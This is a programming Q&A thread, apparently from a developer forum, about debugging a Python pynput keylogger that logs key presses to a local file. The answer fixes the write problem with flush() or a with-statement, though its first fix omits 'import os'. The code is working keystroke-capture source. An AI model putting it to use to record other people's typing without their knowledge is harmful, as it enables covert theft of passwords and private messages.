I have a problem with this keylogger program. It must write to a file but it doesn't do that. What is wrong?
The program must listen to the keyboard and write it to a file (before, there is a check if the file exists or not). But it doesn't write to the file, it only creates the file.
from pynput import keyboard
import os
if os.path.exists("prova3.txt") == True:
f = open("prova3.txt","a")
else:
f = open("prova3.txt","x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
First of all, make sure that you took note of the warning from the pynput docs:
Starting a keyboard listener may be subject to some restrictions on your platform.
If you are on a Mac like me, then you have to do this:
- The process must run as root.
- Your application must be white listed under Enable access for assistive devices.
For that second item, check these steps from a related SO post.
Now, for the actual file writing problem, one solution is to call f.flush()
after calling f.writelines
to ensure that data is actually written to the file. (see this related post for some explanation: what exactly the python's file.flush() is doing?). I am not familiar with pynput's underlying implementation, but the docs says it uses threads and that seems to affect File I/O. It's also good practice to call f.close()
when you're done with the file.
from pynput import keyboard
if os.path.exists("prova3.txt"):
f = open("prova3.txt", "a")
else:
f = open("prova3.txt", "x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
f.flush()
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
f.flush()
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
f.close()
An alternative and a better practice is to use a with
statement when writing to the file. That puts f
and the pynput listener
all in the same context. With this way, calling flush
is not needed (but you still can if you want to).
from pynput import keyboard
with open("prova3.txt", "a") as f:
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()